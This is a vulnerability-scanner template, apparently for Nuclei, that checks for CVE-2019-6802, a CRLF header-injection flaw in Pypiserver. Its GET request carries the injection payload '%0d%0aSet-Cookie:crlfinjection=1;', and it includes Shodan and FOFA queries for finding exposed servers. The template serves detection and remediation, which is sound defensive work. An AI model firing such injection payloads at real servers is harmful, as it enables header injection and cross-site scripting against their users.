2022-12-05 23:32:40 +00:00
id : CVE-2019-6802
info :
2023-04-03 20:26:07 +00:00
name : Pypiserver <1.2.5 - Carriage Return Line Feed Injection
2022-12-05 23:32:40 +00:00
author : 0x_Akoko
severity : medium
2022-12-06 09:22:05 +00:00
description : |
2023-04-03 20:26:07 +00:00
Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
2023-09-06 12:53:28 +00:00
remediation : |
Upgrade to Pypiserver version 1.2.5 or later.
2022-12-05 23:32:40 +00:00
reference :
- https://vuldb.com/?id.130257
2022-12-08 09:40:41 +00:00
- https://github.com/pypiserver/pypiserver/issues/237
2023-04-03 20:26:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-6802
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2022-12-05 23:32:40 +00:00
classification :
2022-12-08 09:40:41 +00:00
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-12-05 23:32:40 +00:00
cve-id : CVE-2019-6802
2023-07-11 19:49:27 +00:00
cwe-id : CWE-74
epss-score : 0.00113
2024-03-23 09:28:19 +00:00
epss-percentile : 0.43845
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
2022-12-06 09:22:05 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:53:28 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : python
product : pypiserver
2024-06-07 10:04:29 +00:00
shodan-query :
- html:"pypiserver"
- http.html:"pypiserver"
2024-05-31 19:23:20 +00:00
fofa-query : body="pypiserver"
2023-12-05 09:50:33 +00:00
tags : cve,cve2019,crlf,pypiserver,python
2022-12-05 23:32:40 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-05 23:32:40 +00:00
- method : GET
path :
- "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
2022-12-06 06:25:31 +00:00
2022-12-05 23:32:40 +00:00
matchers :
2023-09-29 08:16:22 +00:00
- type : regex
2022-12-05 23:32:40 +00:00
part : header
2023-09-29 08:54:46 +00:00
regex :
- "^Set-Cookie: crlfinjection=1;"
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022008c43eb00190204cfa303a012d6eff02feaae721fa026f004fa26a4c95cc9e1d022100ca298f0bdeddb2a9d1befca00c072b2a2c177fbe80ae319dd9a9960acdb8b801:922c64590222798bb761d5b6d8e72950